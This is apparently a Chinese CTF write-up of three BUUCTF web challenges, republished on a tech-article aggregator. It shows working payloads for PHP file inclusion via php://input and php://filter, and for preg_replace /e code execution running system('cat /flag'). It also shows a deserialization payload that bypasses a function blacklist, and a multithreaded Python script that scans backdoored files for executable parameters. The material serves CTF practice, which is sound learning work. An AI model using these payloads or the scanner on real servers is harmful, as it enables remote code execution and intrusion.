IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> BUU刷题Day6 -> 正文阅读

[PHP知识库]BUU刷题Day6

目录

[BJDCTF2020]ZJCTF,不过如此

总结:

[网鼎杯 2020 朱雀组]phpweb

总结:

[强网杯 2019]高明的黑客

总结:


[BJDCTF2020]ZJCTF,不过如此

上来看到源码

<?php
?
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
 ?  echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
 ?  if(preg_match("/flag/",$file)){
 ? ? ?  die("Not now!");
 ?  }
?
 ?  include($file);  //next.php
 ? ?
}
else{
 ?  highlight_file(__FILE__);
}
?>

这里浅审一下,

有两个GET型参数text和file,并且要求

file_get_contents($text,'r')==="I have a dream"

file_get_contents将整个文件读入一个字符串,如果失败,file_get_contents() 将返回false,要读入我们就用伪协议php://input绕过,构造成

?text=php://input

同时post上传一个I have a dream

看到了这个include我就兴奋了,文件包含!利用php://filter伪协议读取即可。

最后构造成

?text=php://input&file=php://filter/read/convert.base64-encode/resource=next.php

base64解密出

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
?
function complex($re, $str) {
 ?  return preg_replace(
 ? ? ?  '/(' . $re . ')/ei',
 ? ? ?  'strtolower("\\1")',
 ? ? ?  $str
 ?  );
}
?
?
foreach($_GET as $re => $str) {
 ?  echo complex($re, $str). "\n";
}
?
function getFlag(){
    @eval($_GET['cmd']);
}

注意到preg_replace中的/e修正符,指的是如果匹配到了,就会执行preg_replace的第二个参数,也就是代替的内容,这个题里面是strtolower("\1")

preg_replace — 执行一个正则表达式的搜索和替换。相当于 eval('strtolower("\1");') 结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义,实际上指的是第一个子匹配项

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

了解了这些我们就开始构造payload

/?.*=${执行的命令}

原先的语句是

preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);

构造之后的

preg_replace('/(.*)/ei','strtolower("\\1")',${执行的命令});

这种payload无法使用,原因是这里的$re部分是由Get传入,当以非法字符开头的参数就会自动转为下划线,导致匹配失败所以不能使用,如果不用Get传参就可以使用

  • .* 是单个字符匹配任意,即贪婪匹配。 表达式 .*? 是满足条件的情况只匹配一次,即最小匹配

  • \s匹配任何空白非打印字符,包括空格、制表符、换页符等等。等价于[ \f\n\r\t\v]。注意Uniocode正则表达式会\f匹配全角空格符

  • \S匹配任何非空白打印字符。等价于 \f\n\r\t\v

几种payload

next.php?\S*=${getFlag()}&cmd=system('cat+/flag');
?
next.php?\S*=${getflag()}&cmd=show_source('/flag');
?
next.php?\S%2b=${getFlag()}&cmd=system('cat+/flag');

总结:

为什么使用${执行的命令}

在PHP中双引号包裹的字符串可以当作解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)

var_dump(phpinfo()); // 结果:布尔 true var_dump(strtolower(phpinfo()));// 结果:字符串 '1' var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'

var_dump(preg_replace('/(.)/ie','strtolower("\1")','{${phpinfo()}}'));// 结果:空字符串'' var_dump(preg_replace('/(.)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串'' 这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串

要将可变变量用于数组,必须解决一个模棱两可的问题。这就是当写下 $$a[1] 时,解析器需要知道是想要 $a[1] 作为一个变量呢,还是想要 $$a 作为一个变量并取出该变量中索引为 [1] 的值。解决此问题的语法是,对第一种情况用 ${$a[1]},对第二种情况用 ${$a}[1]。

类的属性也可以通过可变属性名来访问。可变属性名将在该调用所处的范围内被解析。例如,对于 $foo->$bar 表达式,则会在本地范围来解析 $bar 并且其值将被用于 $foo 的属性名。对于 $bar 是数组单元时也是一样。

<?php
$a = 'hello';?>

一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。在上面的例子中 hello 使用了两个美元符号($)以后,就可以作为一个可变变量的变量了。例如:

<?php
$$a = 'world';?>

这时,两个变量都被定义了:$a 的内容是“hello”并且 $hello 的内容是“world”。因此,以下语句:

<?php
echo "$a ${$a}";?>

与以下语句输出完全相同的结果:

<?php
echo "$a $hello";?>

它们都会输出:hello world。

\1在正则匹配的搜索与替换中实际上指的是第一个子匹配项

[网鼎杯 2020 朱雀组]phpweb

刚进去啥也没有然后很疑惑地他就自己刷新了一下然后报了个错,过几秒时间还发生变化,

Warning</b>:  date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in <b>/var/www/html/index.php</b> on line <b>24</b><br />
2022-03-24 12:02:00 pm

?

抓个包吧!

发现两个参数!没见过,但是凭感觉认为可以命令执行,我就试着执行一下但是可能禁用了某些函数,读了一下index.php源码发现ban了

"exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter","array_walk","array_map","registregister_shutdown_function","register_tick_function","filter_var","filter_var_array","uasort","uksort","array_reduce","array_walk","array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"
  <?php
 ?  $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
 ?  function gettime($func, $p) {
 ? ? ?  $result = call_user_func($func, $p);
 ? ? ?  $a= gettype($result);
 ? ? ?  if ($a == "string") {
 ? ? ? ? ?  return $result;
 ? ? ?  } else {return "";}
 ?  }
 ?  class Test {
 ? ? ?  var $p = "Y-m-d h:i:s a";
 ? ? ?  var $func = "date";
 ? ? ?  function __destruct() {
 ? ? ? ? ?  if ($this->func != "") {
 ? ? ? ? ? ? ?  echo gettime($this->func, $this->p);
 ? ? ? ? ?  }
 ? ? ?  }
 ?  }
 ?  $func = $_REQUEST["func"];
 ?  $p = $_REQUEST["p"];
?
 ?  if ($func != null) {
 ? ? ?  $func = strtolower($func);
 ? ? ?  if (!in_array($func,$disable_fun)) {
 ? ? ? ? ?  echo gettime($func, $p);
 ? ? ?  }else {
 ? ? ? ? ?  die("Hacker...");
 ? ? ?  }
 ?  }
 ?  ?>

打扰了,那我只能另寻思路,之前总看到var_dump等,但是一直没了解var是什么,百度了一下发现就是public,php中类属性必须定义为共有,受保护,私有之一。所以如果没有那三个修饰符,必须用var,var就是public。。。为什么不直接用public。

另找思路的路上看到了个类,想到了反序列化,说做就做,因为这个过滤纸对我们输入的func进行过滤,Test的输入并没有被过滤,所以我们改一下payload!

<?php
 class Test {
    var $p = "ls /";
    var $func = "system";
}
$a = new Test();
echo serialize($a);
?>
O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}

?

当前目录也没有,就很烦。。改一下吧!

<?php
 class Test {
    var $p = "find / -name flag*";
    var $func = "system";
}
$a = new Test();
echo serialize($a);
?>

最后!

<?php
 class Test {
    var $p = "cat /tmp/flagoefiu4r93";
    var $func = "system";
}
$a = new Test();
echo serialize($a);
?>

O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

?

总结:

总能有思路的,实在不行就抓个包看看包的情况!var就是public,浅浅的复习了一下反序列化,和find命令

债见!

[强网杯 2019]高明的黑客

打开页面发现让我down个源码

down下来之后浏览了一下,文件名全被改了,就很麻烦,也没有目录结构,既然是被黑客黑了,那就应该有后门,D盾扫一下,除了好多

随便找个四级的搞一下试试吧,扫了3002个文件,可疑2999个,这要是挨个审下去就明天了啊,找了下大佬的WP,原来是写了个脚本,但是buu不让扫,那就只能本地搭建环境进行测试,干!

借用大佬的脚本研究了一下

import requests
import os
import re
import threading
import time
?
requests.adapters.DEFAULT_RETRIES = 8 #设置重连次数,防止线程数过高,断开连接
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
?
sem=threading.Semaphore(30) # 设置最大线程数 ,别设置太大,不然还是会崩的挺厉害的,跑到关键的爆炸,心态就爆炸了
?
url = "http://7cfcd16d-dd76-4421-8906-b9c234c18daf.node3.buuoj.cn/"
?
# 下载的源文件路径,根据自己的路径修改
path = r"C:\Users\lenovo\Desktop\www\\"
?
?
rrGET = re.compile(r"\$_GET\[\'(\w+)\'\]") #匹配get参数
?
rrPOST = re.compile(r"\$_POST\[\'(\w+)\'\]") #匹配post参数
?
fileNames = os.listdir(path) # 列出目录中的文件,以每个文件都开一个线程
?
?
local_file = open("flag.txt","w",encoding="utf-8")
?
def run(fileName):
    with sem:
        file = open( path + fileName, 'r',encoding='utf-8' )
        content = file.read()
        print("[+]checking:%s" % fileName )
        #测试get的参数
        for i in rrGET.findall(content):
            r = session.get( url + "%s?%s=%s" % (fileName,i,"echo ~h3zh1~;") )
            if "~h3zh1~" in r.text:
                flag = "You Find it in GET fileName = %s and param = %s \n" % ( fileName, i )
                print(flag)
                local_file.write(flag)
        #测试post的参数
        #for i in rrPOST.findall(content):
        #   r = session.post( url + fileName , data = { i : "echo ~h3zh1~;" } )
        #   if "~h3zh1~" in r.text:
        #       flag = "You Find it in POST: fileName = %s and param = %s \n" % ( fileName, i )
        #       print(flag)
        #       local_file.writelines(flag)
if __name__ == '__main__':
    start_time = time.time() # 开始时间
    print("[start]程序开始:"+str(start_time))
    thread_list = []
    for fileName in fileNames:
        t = threading.Thread( target=run , args=(fileName,) )
        thread_list.append(t)
    for t in thread_list:
        t.start()
    for t in thread_list:
        t.join()
        
    end_time = time.time()
    local_file.close()
    print("[end]程序结束:用时(秒):"+str(end_time-start_time))

多线程!不愧是大佬!

总结:

主要考的是python能力,再去复习一下了!债见!

感谢勤奋的自己,感谢BUU提供优质的题

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-03-30 18:02:46  更:2022-03-30 18:03:27 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 1:32:53-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码